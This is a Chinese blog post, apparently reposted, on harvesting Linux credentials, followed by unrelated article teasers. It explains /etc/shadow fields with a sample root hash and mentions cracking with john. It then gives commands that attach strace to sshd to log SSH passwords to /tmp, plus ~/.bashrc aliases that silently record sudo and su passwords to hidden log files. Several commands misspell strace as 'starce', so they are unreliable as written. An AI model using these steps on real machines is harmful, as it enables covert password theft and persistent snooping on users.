凭证获取:Linux凭证获取

news2024/11/25 18:45:38

目录

shadow文件详解

1.Shadow文件的组成与作用

2.破解Shadow文件内容

利用strace记录密码


shadow文件

1.Shadow文件的组成与作用

在Linux中,/etc/shadow文件又被称为“影子文件”,主要用于存储Linux文件系统中的用户凭据信息。该文件只能由root权限用户操作,我们可以执行cat /etc/shadow来查看shadow文件内容:

重点在最后一行代码,它被分为了9段,各个段的内容说明如下:

  1. 用户名:这个字段包含用户的登录名,用于标识用户的身份。

  2. 加密密码:这个字段包含经过加密后的用户密码。实际的密码并不直接存储在这个文件中,而是经过加密后的密文。

  3. 上次修改密码日期:这个字段包含用户密码最后一次修改的日期,以天数表示。

  4. 密码最小修改间隔:这个字段表示两次修改密码之间的最小间隔,以天数表示。如果用户在这段时间内修改密码,系统会拒绝修改。

  5. 密码最大使用期限:这个字段表示密码的最大使用期限,以天数表示。超过这个期限后,用户需要修改密码。

  6. 密码过期警告期限:这个字段表示密码过期前的警告期限,以天数表示。在密码过期前指定的天数内,系统会提醒用户修改密码。

  7. 密码失效日期:这个字段表示密码失效的日期,以天数表示。超过这个日期后,用户将无法登录系统。

  8. 帐号失效日期:这个字段表示帐号失效的日期,以天数表示。超过这个日期后,用户将无法登录系统。

  9. 保留字段:这个字段是保留字段,目前未被使用,通常为空或包含一些系统保留信息。

例如:

root:$6$ltMA.KzRjM5KtHfw$nZDcIGLFIO90nDa7FzgATw2z5VDCp25cZmoaVU6Qye47drny4PBTOGJvUI6RxNyWhXQpGCTGH.R0Yl7c5fZ
UH0::0:99999:7:::

2.破解Shadow文件内容

如果用户设置的密码过于简单,则即便是加密了也没有什么用,此时攻击者可以使用john工具通过碰撞的方式来破解加密内容,到那时需要具有root用户权限来读取shadow文件。

在Kail中可以将某一行的内容写入到txt文件中,然后执行下面命令来解密:

可以看到,并没有解密,因此并不是所有的密文都可以解密的

注:没有该工具可以直接使用apt-get/yum进行下载

利用strace记录密码

Strace是一个很好用的系统调用跟踪工具,我们可以将该工具附加到程序进程中,来获取该进行的系统调用及参数,但是攻击者也可以通过该工具监听与凭证相关的可执行文件来获取凭据内容

strace不是系统自带的,需要下载:

yum install strace

安装完成后,执行下面命令来开启strace并记录ssh凭据,当目标使用ssh登录后,凭据就会保存在/tmp/sshd.log中

starce -f -F -p `ps aux| grep "sshd -D"|grep -v grep|awk {"print $2"}` -t -e trace=read,write -s 32 2> /tmp/sshd.log

最后再通过下列命令来读取凭据:

grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/sshd.log

除此之外还可以利用Strace记录sudo与su的凭据信息,使用命令别名的方式是将sudo与strace进行捆绑,在执行sudo的同时会调用starce进行记录

先执行命令vim ~/.bashrc添加命令别名,添加的代码如下:

alias sudo='starce -f -e trace=read,write -o /tmp/.sudo-`date ' +%d%h%m%s'`.log -s 32 sudo' 
alias su='starce -f -e trace=read,write -o /tmp/.su-`date ' +%d%h%m%s'`.log -s 32 su' 

写入内容后,执行命令来使别名生效

source ~/.bashrc

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1449356.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【日常聊聊】新年新征程:迎接学习的挑战

🍎个人博客:个人主页 🏆个人专栏:日常聊聊 ⛳️ 功不唐捐,玉汝于成 目录 前言 正文 结语 我的其他博客 前言 随着新的一年的到来,程序员们站在了全新的起点。这是一个充满机遇和挑战的时刻&#xff0…

【C++初阶:类和对象(下篇)】初始化列表 | static成员 | 友元

目录 一、构造函数构造函数体赋值🐾初始化列表🐾💦 explicit关键字 二、static成员🐾概念**💦 关于静态的特性** 三、友元💦 **友元函数**💦 **友元类** **四、内部类** 一、构造函数 构造函数…

Spring 事务原理总结四

作为一名认知有限的中国人,我对年的喜爱,胜过其他一切,因为它给了我拒绝一切的合理理由。每到这个时候,我都会用各种理由来为自己的不作为开脱,今年亦是如此。看着频频发出警报的假期余额,我内心的焦躁变得…

分布式文件系统 SpringBoot+FastDFS+Vue.js【一】

分布式文件系统 SpringBootFastDFSVue.js【一】 一、分布式文件系统1.1.文件系统1.2.什么是分布式文件系统1.3.分布式文件系统的出现1.3.主流的分布式文件系统1.4.分布式文件服务提供商1.4.1.阿里OSS1.4.2.七牛云存储1.4.3.百度云存储 二、fastDFS2.1.fastDSF介绍2.2.为什么要使…

详解CC++内存管理(new和delete)

文章目录 写在前面1. C&C内存分布2. C语言中动态内存管理方式:malloc/calloc/realloc/free3. C内存管理方式(语法)3.1 new/delete操作内置类型3.2 new和delete操作自定义类型 4. new和delete的实现原理4.1 operator new与operator delete…

【MySQL】学习外键约束处理员工数据

🌈个人主页: Aileen_0v0 🔥热门专栏: 华为鸿蒙系统学习|计算机网络|数据结构与算法 ​💫个人格言:“没有罗马,那就自己创造罗马~” #mermaid-svg-g4glZPIY0IKhiTfe {font-family:"trebuchet ms",verdana,arial,sans-serif;font-siz…

STM32—DHT11温湿度传感器

文章目录 一.温湿度原理1.1 时序图 二.代码 一.温湿度原理 1.1 时序图 (1).下图一是DHT11总的时序图。 (2).图二对应图一的左边黑色部分,图三对应图一的绿色部分,图四的左部分图对应图一的红色部分,图四的右部分对应图一的黄色部分。 (3)…

计算机组成原理(1)----主存储器

目录 1.基本半导体元件及原理 2.寻址 1.基本半导体元件及原理 一个主存储器可以分为存储器,MAR(地址寄存器)和MDR(数据寄存器),这三个部件由在时序控制逻辑的控制下工作 其中存储体用来存放二进制数据0和…

[BIZ-缓存] - 3.金融交易系统缓存架构设计

1. 前置文章 [BIZ] - 1.金融交易系统特点https://blog.csdn.net/besthezhaowen/article/details/136118133 [缓存] - 1.缓存共性问题https://blog.csdn.net/besthezhaowen/article/details/136111466 [缓存] - 2.分布式缓存重磅中间件 Redis-CSDN博客文章浏览阅读1.4k次&…

docker (一)-简介

1.什么是docker Docker 是一个开源的应用容器引擎,由于docker影响巨大,今天也用"Docker" 指代容器化技术。 2.docker的优势 一键部署,开箱即用 容器使用基于image镜像的部署模式,image中包含了运行应用程序所需的一…

【Java程序员面试专栏 分布式中间件】ElasticSearch 核心面试指引

关于ElasticSearch 部分的核心知识进行一网打尽,包括ElasticSearch 的基本概念,基本架构,工作流程,存储机制等,通过一篇文章串联面试重点,并且帮助加强日常基础知识的理解,全局思维导图如下所示 基础概念 从数据分类入手,考察全文索引的基本概念 现实世界中数据有哪…

【教程】Kotlin语言学习笔记(二)——数据类型(持续更新)

写在前面: 如果文章对你有帮助,记得点赞关注加收藏一波,利于以后需要的时候复习,多谢支持! 【Kotlin语言学习】系列文章 第一章 《认识Kotlin》 第二章 《数据类型》 文章目录 【Kotlin语言学习】系列文章一、基本数据…

机器学习和统计学的区别?

1、本质区别: 目标:机器学习的核心目标是建立一个可以自动学习和改进的模型,以预测未知数据。它更关注结果的准确性和模型的泛化能力,通常不关心模型是否可以解释。而统计学的目标是探究变量之间的关系,理解数据的内在…

Python数据科学:Scikit-Learn机器学习

4.1Scikit-Learn机器学习 Scikit-Learn使用的数据表示:二维网格数据表 实例1:通过Seaborn导入数据 def skLearn():scikit Learn基本介绍:return:import seaborn as sns#导入Iris数据集#注:一般网络访问不了iris sns.load_dataset(iris)ir…

Spring Boot 笔记 020 redis集成

1.1 安装redis Windows 下 Redis 安装与配置 教程_redis windows-CSDN博客 2.1 引入redis坐标 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-redis</artifactId></dependency> 2.2 配置…

144.【Activiti 7】

Activiti 7 工作流 (一)、工作流程1.概念2.工作流系统3.适用行业4.具体应用5.实现方式 (二)、Activiti7概述1.介绍(1).BPM 介绍(2).BPM软件(3). BPMN 2.使用步骤(1).部署activiti(2).流程定义(3).流程定义部署(4).启动一个流程实例(5).用户查询待办任务(Task)(6).用户办理任务(…

第13讲创建图文投票

创建图文投票实现 图文投票和文字投票基本一样&#xff0c;就是在投票选项里面&#xff0c;多了一个选项图片&#xff1b;、 <view class"option_item" v-for"(item,index) in options" :key"item.id"><view class"option_input&…

如何在JavaScript中使用大于和小于运算符

在你的 JavaScript 程序中&#xff0c;你经常需要比较两个值&#xff0c;以确定一个是否大于另一个或小于另一个。这就是大于和小于运算符派上用场的地方。 在本文中&#xff0c;我们将通过代码示例更详细地介绍如何使用这些运算符。 &#xff08;本文内容参考&#xff1a;ja…

Mysql中关于on,in,as,where的区别

目录 Mysql on,in,as,where的区别 Mysql语句问题解决 1、left join数据筛选问题 2、相同数据重复筛选使用问题 3、根据某个字段排序取每个类别最后三条数据或前三条数据 4、业务逻辑书写位置问题 5、查找另一表内和本表相关字段的数量 6、关于union的使用 7、limit的巧…

Ubuntu如何设置成中文

1、右上角点击&#xff08;音量图标和电池图标位置&#xff09;&#xff0c;选择“Settings”&#xff08;设置&#xff09;。 2、左侧选择“Region & Language”&#xff08;区域与语言&#xff09;&#xff0c;然后选择“Manage Installed Languages”&#xff08;管理已…